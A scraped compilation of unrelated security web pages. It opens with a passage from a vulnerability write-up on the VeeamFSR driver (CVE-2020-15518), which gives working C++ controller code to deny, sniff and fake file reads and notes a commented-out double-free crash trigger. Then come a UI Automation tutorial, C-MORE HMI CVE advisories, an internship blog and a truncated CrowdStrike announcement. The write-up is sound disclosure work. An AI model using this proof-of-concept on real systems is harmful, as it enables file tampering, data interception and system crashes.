    printf("Set up monitor on %ls\n", Folder);
    printf("FolderIndex: 0x%x\n", SharedBufDesc.FolderIndex);
    printf("Shared buffer: %p\n", (PVOID)SharedBufDesc.SharedBufferPtr);
    printf("Shared buffer length: 0x%x\n", SharedBufDesc.SharedBufferLength);
    printf("Uknown: 0x%x\n", SharedBufDesc.Unk);
    printf("\nStarting IO loop\n");

    SharedBufferEntry* IOEntryBuffer = (SharedBufferEntry*)SharedBufDesc.SharedBufferPtr;
    SharedBufferEntry* IOEntry;

    for (;;)
    {
        LONG l;

        ReleaseSemaphore(NewEntrySemaphore, 1, &l);
        WaitForSingleObject(SharedBufSemaphore, INFINITE);

        printf("Entry #%d\n", CurrEntry);

        IOEntry = &IOEntryBuffer[CurrEntry];
        switch (IOEntry->Ctrl.MajorFunction)
        {
        //
        // IRP_MJ_XXX and FastIo handlers
        //
        case 0x0: //IRP_MJ_CREATE
        case 0x33: //Fast _IRP_MJ_CREATE
        {
            PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);
            CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

            break;
        }
        default:
        {
            CHAR OpName[40]{};
            sprintf_s(OpName, 40, "IRP_MJ_%d", IOEntry->Ctrl.MajorFunction);
            PrintEntryInfo(OpName, IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

            break;
        }


        //
        // Special entry handlers
        //
        case 0x37: //Name entry
        {
            printf("\tADD\n");

            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess: %d\n", IOEntry->d6);
                ProcessMapping[IOEntry->d3] = CurrEntry;
                break;
            case FileEntry:
                //.d4 == length
                printf("\tfile: %ls\n", (PWSTR)IOEntry->d6);
                FileMapping[IOEntry->d3] = CurrEntry;
                break;
            case MonitoredEntry:
                //.d4 == length
                printf("\tmonitored dir: %ls\n", (PWSTR)IOEntry->d6);
                break;
            }

            break;
        }
        case 0x38:
        {
            printf("\tDELETION\n");
            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess\n");
                break;
            case FileEntry:
                printf("\tfile\n");
                break;
            case MonitoredEntry:
                printf("\tmonitored dir\n");
                break;
            }
            printf("\tindex: %d\n", IOEntry->d2);

            break;
        }
        case 0x39:
        {
            printf("\tCOMPLETION of IRP_MJ_%d, index = %d, status = 0x%x, information: 0x%x\n",
                IOEntry->d2,
                IOEntry->d3,
                IOEntry->d4,
                IOEntry->d5);

            break;
        }
        case 0x3A:
        {
            printf("\tWRITE-related entry\n");
            break;
        }
        }

        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->Flags, IOEntry->d1, IOEntry->d2, IOEntry->d3);
        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->d4, IOEntry->d5, IOEntry->d6, IOEntry->d7);

        CurrEntry++;
        if (CurrEntry >= 0x200)
        {
            break;
        }
    }

    CtlDestroyFolder(hDevice, 0);
    CloseHandle(hDevice);

    printf("Press any key...\n");
    getchar();

    return 0;
}

With the snippet running on \Device\HarddiskVolume1\tmp, navigating to the ‘tmp’ folder triggers a bunch of open calls in Explorer.exe: Basic.png

[Deny everything]

VeeamFSR provides several options for handling waited IO requests:

  1. Pass through the request (boring).
  2. Deny access (better).
  3. Sniff request data (toasty).
  4. Fake request data (outstanding!).

The controller app communicates its decision to the driver by passing one or more flags from the RequestFlags enum to the CtlUnwaitRequest function, which serves as a wrapper for the IOCTL_UNWAIT_REQUEST IoCtl.

enum RequestFlags : BYTE
{
    RF_CallPreHandler = 0x1,
    RF_CallPostHandler = 0x2,
    RF_PassDown = 0x10,
    RF_Wait = 0x20,
    RF_DenyAccess = 0x40,
    RF_CompleteRequest = 0x80,
};

BOOL CtlUnwaitRequest(
    HANDLE hDevice,
    CtrlBlock* Ctrl,
    WORD SharedBufferEntryIndex,
    RequestFlags RFlags
)
{
    struct UnwaitDescriptor
    {
        CtrlBlock Ctrl;

        DWORD SharedBufferEntryIndex;
        RequestFlags RFlags;
        BYTE  IsStatusPresent;
        BYTE  IsUserBufferPresent;
        BYTE  SetSomeFlag;
        DWORD Status;
        DWORD Information;
        PVOID UserBuffer;
        DWORD d6;
        DWORD UserBufferLength;
    };

    DWORD BytesReturned;
    UnwaitDescriptor Unwait = { 0, };

    Unwait.Ctrl.FolderIndex = Ctrl->FolderIndex;
    Unwait.Ctrl.MajorFunction = Ctrl->MajorFunction;
    Unwait.Ctrl.FileIndex = Ctrl->FileIndex;
    Unwait.SharedBufferEntryIndex = SharedBufferEntryIndex;
    Unwait.RFlags = RFlags;

    Unwait.IsUserBufferPresent = 0;

    // Uncomment the code below to crash the OS.
    // VeeamFSR doesn't handle this parameter correctly. Setting IsUserBuffPresent to true 
    // leads to double free in the completion rountine.
    //Unwait.UserBuffer = (PVOID)"aaaabbbb";
    //Unwait.UserBufferLength = 8;
    //Unwait.IsUserBufferPresent = 1;


    BOOL r = DeviceIoControl(hDevice, IOCTL_UNWAIT_REQUEST, &Unwait, sizeof(Unwait), 0, 0, &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("UnwaitRequest failed\n");
    }
    return r;
}

Passing the RFlags_PassDown flags tells the driver to pass through the request. This is what we did in the previous sample. On the other hand, passing the RFlags_DenyAccess flags instructs VeeamFSR to fail the IRP with the status STATUS_ACCESS_DENIED. The snippet below checks the filename of the open operation and fails it if the name contains ‘Cthon98.txt’

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    PCWCHAR ProtectedName = L"\\Device\\HarddiskVolume1\\tmp\\Cthon98.txt";
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], ProtectedName))
    {
        printf("Denying access to %ls\n", ProtectedName);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_DenyAccess);
        break;
    }

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}

DenyAccess.png

[Sniffing writes, sniffiing reads]

Accessing request data is a bit trickier. Depending on the operation, the data might be available before or after the IRP is completed. This is where the RF_CallPreHandler and RF_CallPostHandler flags come into play. VeeamFSR provides pre and post handlers for all IRP_MJ_XXX functions and maintains an array of RequestFlags enumerations for every opened file. Each entry in the array defines how VeeamFSR should handle the call to the corresponding IRP_MJ_XXX function, regardless of whether it was waited on or not. Setting the RF_CallPre/PostHandler flag for an entry instructs the driver to execute pre/post handlers for all calls to the function, while setting the RFlags_DenyAccess flag fails all requests. The default value for all functions (except for IRP_MJ_CREATE) is RFlags_PassDown. The default for IRP_MJ_CREATE is RF_Wait.

To sniff writes, we have to enable the pre-operation handler for the IRP_MJ_WRITE function. The handler allocates memory in the controller app process, copies the write data to the allocated memory, and notifies the app by creating an IRP_MJ_WRITE entry in the shared buffer. Similarly, read sniffing works; however, it requires a post-operation handler instead of a pre-operation handler. Note that in both cases, RFlags_PassDown should be ORed with the flags since we want to pass the request down the stack. The following snippet enables read and write sniffing:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    FlagsDescs[0].Function = 3; //IRP_MJ_READ
    FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
    FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
    FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}
case 0x4: //IRP_MJ_WRITE
case 0x1E: //Fast IRP_MJ_WRITE
{
    PrintEntryInfo("IRP_MJ_WRITE", IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}

Note that sometimes applications map files to memory instead of reading or writing them, so opening a file in Notepad does not always trigger IRP_MJ_READ/WRITE operations Sniff.png

[Faking reads]

Yet another delicious feature that VeeamFSR provides, namely to Everyone, is faking read data. This is what the RFlags_CompleteRequest flag is intended for. Setting this flag for the 3rd (IRP_MJ_READ) entry of the file’s array of flags tells the driver to pend read requests and to map read buffers to the controller app’s address space. The controller app might fill the buffer with fake or modified data and complete the request, passing the RFlags_CompleteRequest flag to apply changes. Unwaiting requests with this flag instructs the driver to complete the request using the IoCompleteRequest function instead of sending it to the actual file system driver. Thus, the controller app can actually fake data of any read operation in the OS. Pure evil, eh? The following snippet fakes the content of AzureDiamond.txt with ‘*’ symbols, while the real content of the file is the ‘hunter2’ string:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName))
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = RF_CompleteRequest;
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    else
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName) == FALSE)
    {
        PrintBuffer(Buffer, Length);
    }
    else
    {
        printf("Faking read buffer with '*' for %ls\n", FakeReadName);
        for (unsigned int i = 0; i < Length; i++)
        {
            Buffer[i] = '*';
        }
        PrintBuffer(Buffer, Length);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_CompleteRequest);
    }

    break;
}

Fake.png

[Breaking bad]

For the sake of simplicity, all previous examples monitored the ‘c:\tmp’ folder. What if we want to monitor a higher-ranking directory, say, ‘system32’ or ‘system32\config’? Easy as pie! Everything written above works for any directory in the OS; you just need to provide the path name to the CtlCreateMonitoredFolder function. The screenshot shows the output of monitoring the ‘c:\windows\system32’ directory: System32.png

[EOF]

I didn’t reverse all the pre, post, and other handlers of the driver. It actually handles most, if not all, IRP_MJ_XXX requests directed to the file system, granting non-privileged users complete control over file system IO operations.

The vendor was notified about the problem approximately six months ago and has not taken action to address it. I guess they don’t care.

Update: It turns out they eventually did fix it. The vulnerability was discovered ages ago, and while I don’t remember all the details of the exposure process, I recently stumbled upon a CVE entry that describes the vulnerability. Someone, maybe even the vendor, requested the CVE ID. Here it is: https://nvd.nist.gov/vuln/detail/CVE-2020-15518.

Full code and the driver binary are available at the repository.

The Power of UI Automation

What if you needed to get a list of all the open browser tabs in some browser? In the (very) old days you might assume that each tab is its own window, so you could find a main browser window (using FindWindow, for example), and then enumerate child windows with EnumChildWindows to locate the tabs. Unfortunately, this approach is destined to fail. Here is a screenshot of WinSpy looking at a main window of Microsoft Edge:

MS Edge showing only two child windows

The title of the main window hints to the existence of 26 tabs, but there are only two child windows and they are not tabs. The inevitable conclusion is that the tabs are not windows at all. They are being “drawn” with some technology that the Win32 windowing infrastructure doesn’t know about nor cares.

How can we get information about those browsing tabs? Enter UI Automation.

UI Automation has been around for many years, starting with the older technology called “Active Accessibility“. This technology is geared towards accessibility while providing rich information that can be consumed by accessibility clients. Although Active Accessibility is still supported for compatibility reasons, a newer technology called UI Automation supersedes it.

UI Automation provides a tree of UI automation elements representing various aspects of a user interface. Some elements represent “true” Win32 windows (have HWND), some represent internal controls like buttons and edit boxes (created with whatever technology), and some elements are virtual (don’t have any graphical aspects), but instead provide “metadata” related to other items.

The UI Automation client API uses COM, where the root object implements the IUIAutomation interface (it has extended interfaces implemented as well). To get the automation object, the following C++ code can be used (we’ll see a C# example later):

CComPtr<IUIAutomation> spUI;
auto hr = spUI.CoCreateInstance(__uuidof(CUIAutomation));
if (FAILED(hr))
	return Error("Failed to create Automation root", hr);

The client automation interfaces are declared in <UIAutomationClient.h>. The code uses the ATL CComPtr<> smart pointers, but any COM smart or raw pointers will do.

With the UI Automation object pointer in hand, several options are available. One is to enumerate the full or part of the UI element tree. To get started, we can obtain a “walker” object by calling IUIAutomation::get_RawViewWalker. From there, we can start enumerating by calling IUIAutomationTreeWalker interface methods, like GetFirstChildElement and GetNextSiblingElement.

Each element, represented by a IUIAutomationElement interface provides a set of properties, some available directly on the interface (e.g. get_CurrentName, get_CurrentClassName, get_CurrentProcessId), while others hide behind a generic method, get_CurrentPropertyValue, where each property has an integer ID, and the result is a VARIANT, to allow for various types of values.

Using this method, the menu item View Automation Tree in WinSpy shows the full automation tree, and you can drill down to any level, while many of the selected element’s properties are shown on the right:

WinSpy automation tree view

If you dig deep enough, you’ll find that MS Edge tabs have a UI automation class name of “EdgeTab”. This is the key to locating browser tabs. (Other browsers may have a different class name). To find tabs, we can enumerate the full tree manually, but fortunately, there is a better way. IUIAutomationElement has a FindAll method that searches for elements based on a set of conditions. The conditions available are pretty flexible – based on some property or properties of elements, which can be combined with And, Or, etc. to get more complex conditions. In our case, we just need one condition – a class name called “EdgeTab”.

First, we’ll create the root object, and the condition (error handling omitted for brevity):

int main() {
	::CoInitialize(nullptr);

	CComPtr<IUIAutomation> spUI;
	auto hr = spUI.CoCreateInstance(__uuidof(CUIAutomation));

	CComPtr<IUIAutomationCondition> spCond;
	CComVariant edgeTab(L"EdgeTab");
	spUI->CreatePropertyCondition(UIA_ClassNamePropertyId, edgeTab, &spCond);

We have a single condition for the class name property, which has an ID defined in the automation headers. Next, we’ll fire off the search from the root element (desktop):

CComPtr<IUIAutomationElementArray> spTabs;
CComPtr<IUIAutomationElement> spRoot;
spUI->GetRootElement(&spRoot);
hr = spRoot->FindAll(TreeScope_Descendants, spCond, &spTabs);

All that’s left to do is harvest the results:

int count = 0;
spTabs->get_Length(&count);
for (int i = 0; i < count; i++) {
	CComPtr<IUIAutomationElement> spTab;
	spTabs->GetElement(i, &spTab);
	CComBSTR name;
	spTab->get_CurrentName(&name);
	int pid;
	spTab->get_CurrentProcessId(&pid);
	printf("%2d PID %6d: %ws\n", i + 1, pid, name.m_str);
}

Try it!

.NET Code

A convenient Nuget package called Interop.UIAutomationClient.Signed provides wrappers for the automation API for .NET clients. Here is the same search done in C# after adding the Nuget package reference:

static void Main(string[] args) {
    const int ClassPropertyId = 30012;
    var ui = new CUIAutomationClass();
    var cond = ui.CreatePropertyCondition(ClassPropertyId, "EdgeTab");
    var tabs = ui.GetRootElement().FindAll(TreeScope.TreeScope_Descendants, cond);
    for (int i = 0; i < tabs.Length; i++) {
        var tab = tabs.GetElement(i);
        Console.WriteLine($"{i + 1,2} PID {tab.CurrentProcessId,6}: {tab.CurrentName}");
    }
}

More Automation

There is a lot more to UI automation – the word “automation” implies some more control. One capability of the API is providing various notifications when certain aspects of elements change. Examples include the IUIAutomation methods AddAutomationEventHandler, AddFocusChangedEventHandler, AddPropertyChangedEventHandler, and AddStructureChangedEventHandler.

More specific information on elements (and some control) is also available with more specific interfaces related to controls, such as IUIAutomationTextPattern, IUIAutomationTextRange, and manu more.

Happy automation!

CVE-2024-25138

CWE-256: Plaintext Storage of a Password

In Automation-Direct C-MORE EA9 HMI credentials used by the platform are stored as plain text on the device.

AutomationDirect recommends that users update C-MORE EA9 HMI to V6.78

Affected versions:

  • C-MORE EA9 HMI EA9-T6CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T7CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA0-T7CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T8CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10WCL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T12CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-RHMI: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-PGMSW: Version 6.77 and prior

CVE-2024-25137

CWE-121: Stack-based Buffer Overflow

In Automation-Direct C-MORE EA9 HMI there is a program that copies a buffer of a size controlled by the user into a limited sized buffer on the stack which leads to a stack overflow. The result of this stack-based buffer overflow will lead to a denial-of-service conditions.

AutomationDirect recommends that users update C-MORE EA9 HMI to V6.78

Affected versions:

  • C-MORE EA9 HMI EA9-T6CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T7CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA0-T7CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T8CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10WCL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T12CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-RHMI: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-PGMSW: Version 6.77 and prior

CVE-2024-25136

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

There is a function in Automation-Direct C-MORE EA9 HMI that allows an attacker to send a relative path in the URL without proper sanitizing of the content.

AutomationDirect recommends that users update C-MORE EA9 HMI to V6.78

Affected versions:

  • C-MORE EA9 HMI EA9-T6CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T7CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA0-T7CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T8CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T10WCL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T12CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-T15CL-R: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-RHMI: Version 6.77 and prior
  • C-MORE EA9 HMI EA9-PGMSW: Version 6.77 and prior

Internship Experiences at Doyensec

The following blog post gives a voice to our 2023 interns and their experiences with us.

Aleandro

During my last high school year I took part in the Cyberchallenge.it program, whose goal is to introduce young students to the world of offensive cybersecurity, via lessons and CTFs competitions. After that experience, some friends and I founded the r00tstici CTF team, attempting to bring some cybersecurity culture to the south of Italy. We also organized various workshops and events at the University of Salento.

Once I moved from south of Italy to Pisa, to study at the university, I joined the fibonhack CTF team. I then also started working as a developer and penetration tester on small projects, both inside the university and outside.

Getting recruited

During April 2023, the Doyensec Twitter account posted a call for summer interns. Since I had been following Doyensec for months, after Luca’s talk at No Hat 2022, I submitted my application. This was both because I was bored with the university routine and because I also wanted to try a job in the research field. This was a good fit, since I was coming from an environment of development and freelance pentesting, alongside CTF competitions.

The selection process I went through has already been described, in large part, by Robert in his previous post about his internship experience. Basically it consisted of:

  • An interview with the Practice Manager
  • A technical challenge on both web and mobile topics
  • Finally, a technical interview with two different security engineers

The interview was about various aspects of application security. This ranged from web security to low level stuff like assembly and even CPU internals.

First weeks

The actual internship started with a couple of weeks of research, where I went through some web application frameworks in Rust. After completing that research, I then moved on to an actual pentest for a client. I remember the first week felt really different and challenging. The code base was so large and so filled with functionalities that I felt overwhelmed with things to test, ideas to try and scenarios to replicate. Despite the size and complexity, there were initially no vulnerabilities found. Impostor syndrome started to kick in.

Eventually, things started to improve during the second week of that engagement. While we’re a 100% remote company, sometimes we get together to work in small teams. That week, I worked in-person with Luca. He helped me understand that sometimes software is just well-written and well-architected from a security perspective. For those situations, I needed to learn how to deal with not having immediate success, the focus required for testing and how to provide value to the client despite having low severity findings. Thankfully, we eventually found good bugs in that codebase anyway :)

San Marino landscape

Research weeks

The main research topic of my internship experience was about developing internal tools. Although this project was not mainly about security, I enjoyed it a lot. Developing applications, fixing bugs and screaming about non-existent documentation is something I’ve done ever since I bought my first personal computer.

Responsibilities

It is important to note that even though you are the last one who has joined the company and have limited experience, all Doyensec team members treat you like all other employees. You could be in charge of actually talking with the client if you have any issues during an assessment, you will have to write and possibly peer review the reports, you will have to evaluate and assign severities to the vulnerabilities you’ve found, you will have your name on the report, and so on. Of course, you are assigned to work alongside more experienced engineers that will guide you through the process (Lorenzo in my case - who I would like to thank for helping me in managing the flexible schedule and for all the other advice he gave me). However, you learn the most by actually doing and making your own decisions on how to proceed and of course making errors.

To me this was a mind blowing feeling, I did not expect to be completely part of the team, and that my opinions would have mattered. It was really a good approach, in my opinion. It took me a while to fit entirely in the role, but then it was fun all along the way.

Leonardo

Hi, my name is Leonardo, some of you may better know me as maitai, which is the handle that I’ve been using in the CTF scene from the start of my journey. I encountered cybersecurity during my journey while earning my Bachelor of Science in computer science. From the very first moment I was amazed by it. So I decided to dig a bit more into hacking, starting with the PortSwigger Academy, which literally changed my life.

Getting recruited

If you have read the previous part of this blog post you have already met Aleandro. I knew him prior to joining Doyensec, since we played together on the same CTF team: fibonhack. While I was pursuing my previous internship, Aleandro and I talked a lot regarding our jobs and what to do in the near future. One day he told me that Doyensec would have an open internship position during the winter. I was a bit scared at first, just because it would be a really huge step for me to take on such a challenge. My previous internship had already ended when Doyensec opened the position. Although I was considering pursuing a master’s degree, I was still thinking about this opportunity all the time. I didn’t want to miss such a great opportunity, so I decided to submit my application. After all, what did I have to lose? I took it as a way to really challenge myself.

After a quick interview with the Practice Manager, I was made aware of the next steps in the interview process. First of all, the technical challenges used during the process were brand new. The Practice Manager told me that Doyensec had entirely renewed the challenges with a brand new platform and new challenges. I was essentially the first candidate to ever use this new platform.

The topics of the challenges were mostly web applications in several different languages, with different bugs to spot, alongside mobile challenges that involved the use of state-of-art technologies. I had 2 hours to complete as many challenges as I could, from a pool of 8. The time constraint was right in my opinion. You have around 15 minutes per challenge, which is a reasonable amount of time. Even though I wasn’t experienced with mobile hacking, I pushed myself to the limit in order to find as many bugs as possible and eventually to pass onto the next steps of the interview process. It was later explained to me that the review of numerous (but short) code snapshots in a limited time-frame is meant to simulate the complexity of reviewing larger codebases with several weeks at your disposal.

A couple of days after the technical challenges I received an email from Doyensec in which they congratulated me for passing the technical challenges. I was thrilled at that point! I literally couldn’t wait for what would come after that! The email stated that the next step was a technical call with Luca. I reserved a spot on his calendar and waited for the day of the interview.

Luca asked me several questions, ranging from threat modeling to how to exploit certain vulnerabilities, to how to patch vulnerable code. It was a 360 degree interview. It also included some live code review. The interview lasted for an hour or so, and in the end Luca said that he will evaluate my performance and he will let me know. The day after, another email arrived. I had advanced to the final step, the interview with John, Doyensec’s other co-founder. During this interview, he asked me about different things, not strictly related to the application security world. As I said before, they examined me from many angles. The meeting with John also lasted for an hour. At this point, I had completed the whole process. I only needed to wait for their response, which didn’t take too long to come.

They offered me the internship position. I did it! I was happy to have overcome the challenge that I set for myself. I quickly accepted the position in order to jump straight into the action!

First weeks

In my first weeks, I did a lot of different things including retesting web and network level bugs, in order to be sure that all the vulnerabilities previously found by other engineers were properly fixed. I also did standard web application penetration testing. The application itself was really interesting and complex enough to keep my eyes glued to the screen, without losing interest in it. Another amazing engineer was assigned to the aforementioned project with me, so I was not alone during testing.

Since Doyensec is a fully remote company, we also need to hold some meetings during the day, in order to synchronize on different things that can happen during the penetration test. Communication is a key part of Doyensec, and from great communication comes great bugs.

Research weeks

During the internship, you’re also given 50% of your time to perform application security R&D. During my research weeks I was assigned to an open source project. In fact, I was tasked to write some plugins for Google’s web security scanner Tsunami. This is a general purpose network security scanner, with an extensible plugins system for detecting high severity vulnerabilities with high confidence. Essentially, writing a plugin for Tsunami requires understanding a certain vulnerability in a product and writing an exploit for it, that can be used to confirm its existence when scanning. I was assigned to write two plugins which detect weak credentials on the RabbitMQ Management Portal and RStudio server. The plugins are written in Java, and since I’ve done a bit of Java programming during my Bachelor’s degree program I felt quite confident about it.

I really enjoyed writing those plugins and was also asked to write unit tests and a testbed that were used to actually reproduce the vulnerabilities. It was a really fun experience!

Responsibilities

As Aleandro already explained, interns are given a lot of responsibilities along with a great sense of freedom at Doyensec. I would add just one thing, which is about time management. This is one of the most difficult things for me to do. In a remote company, you don’t have time clocks or similar, so you can choose to work the way that you prefer. Luca told me several times that at Doyensec the output is what is evaluated. This is a big thing for me to deal with since I was used to work a fixed schedule. Doyensec gave me the flexibility to work in the way I prefer, which for me, is invaluable. That said, the activities are complex enough to keep you busy for several hours a day, but they are so enjoyable.

Conclusions

Being an intern at Doyensec is an awesome experience because it allows you to jump into the world of application security without the need for extensive job experience. You can be successful as long as you have the skills and knowledge, regardless of how you acquired them.

Moreover, during those three months you’ll be able to test your skills and learn new ones on different technologies across a variety of targets. You’ll also get to know passionate and skilled people, and if you’re lucky enough, take part in company retreats and get some exclusive swag.

Gift from the retreat

In the end, you should consider applying for the next call for interns, if you:

  • are passionate about application security
  • have already good web security skills
  • have organizational capabilities
  • want scheduling flexibility
  • can manage remote work

If you’re interested in the role and think you’d make a good fit, apply via our careers page: https://www.careers-page.com/doyensec-llc. We’re now accepting candidates for the Summer Internship 2024.

CrowdStrike Enhances Cloud Detection and Response (CDR) Capabilities to Protect CI/CD Pipeline

The increase in cloud adoption has been met with a corresponding rise in cybersecurity threats. Cloud intrusions escalated by a staggering 75% in 2023, with cloud-conscious cases increasing by 110%. Amid this surge, eCrime adversaries have become the top threat actors targeting the cloud, accounting for 84% of adversary-attributed cloud-conscious intrusions. 

For large enterprises that want to maintain the agility of the cloud, it’s often difficult to ensure DevOps teams consistently scan images for vulnerabilities before deployment. Unscanned images could potentially leave critical applications exposed to a breach. This gap in security oversight requires a solution capable of assessing containers already deployed, particularly those with unscanned images or without access to the registry information. 

Recognizing this need, cloud security leader CrowdStrike has enhanced its CrowdStrike Falcon® Cloud Security capabilities to ensure organizations can protect their cloud workloads throughout the entire software development lifecycle and effectively combat adversaries targeting the cloud. Today we’re releasing two new features to help security and DevOps teams secure everything they build in the cloud.

Assess Images for Risks Before Deployment

We have released Falcon Cloud Security Image Assessment at Runtime (IAR) along with additional policy and registry customization tools. 

While pre-deployment image scanning is essential, organizations that only focus on this aspect of application development may create a security gap for containers that are deployed without prior scanning or lack registry information. These security gaps are not uncommon and could be exploited if left unaddressed.

IAR will address this issue by offering: 

  • Continuous security posture: By assessing images at runtime, organizations can maintain a continuous security posture throughout the software development lifecycle, identifying and mitigating threats in real time even after containers are deployed.
  • Runtime vulnerability and malware detection: IAR identifies vulnerabilities, malware and secrets, providing a holistic view of the security health of containers. This will help organizations take preventative actions on potential threats to their containers. 
  • Comprehensive coverage: If containers are launched with unscanned images, or if the registry information is unavailable, IAR provides the flexibility to fully secure containers by ensuring that none go unchecked. This enhancement widens the coverage for DevOps teams utilizing image registries, extending CrowdStrike’s robust pre-runtime security capabilities beyond the already supported 16 public registries — the most of any vendor in the market. 

Figure 1. Kubernetes and Containers Inventory Dashboard in the Falcon Cloud Security console (click to enlarge)

 

IAR is developed for organizations with specific data privacy constraints — for example, those with strict regulations around sharing customer data. Recognizing these challenges, IAR provides a local assessment that enables customers to conduct comprehensive image scans within their own environments. This addresses the critical need for privacy and efficiency by allowing organizations to bypass the limitations of cloud-based scanning solutions, which are unable to conduct scans at the local level.

Further, IAR helps boost operational efficiency at times when customers don’t want to modify or update their CI/CD pipelines to accommodate image assessment capabilities. Its runtime vulnerability scanning enhances container security and eliminates the need for direct integration with an organization’s CI/CD pipeline. This ensures organizations can perform immediate vulnerability assessments as containers start up, examining not only operating system flaws but also package and application-level vulnerabilities. This real-time scanning also enables the creation of an up-to-date software bill of materials (SBOM), a comprehensive inventory of all components along with their security posture. 

A Better Approach to Preventing Non-Compliant Containers and Images

Teams rely on the configuration of access controls within registries to effectively manage permissions for cloud resources. Without proper registry filtering, organizations cannot control who has access to specific data or services within their cloud infrastructure. 

Additionally, developer and security teams often lack the flexibility and visibility to understand where and how to find container images that fall out of security compliance when they have specific requirements like temporary exclusions. These problems can stem from using disparate tools and/or lacking customized rule-making and filtering within their cloud security tools. Security teams then must also be able to relay the relevant remediation steps to developer owners to quickly update the image. These security gaps, if left unchecked, can lead to increased risk and slow down DevSecOps productivity.

Figure 2. Image Assessment policy exclusions in the Falcon Cloud Security console (click to enlarge)

 

To that end, we are also announcing new image assessment policies and registry filters to improve the user experience, accelerate team efficiency and stop breaches. 

These enhancements will address issues by offering:

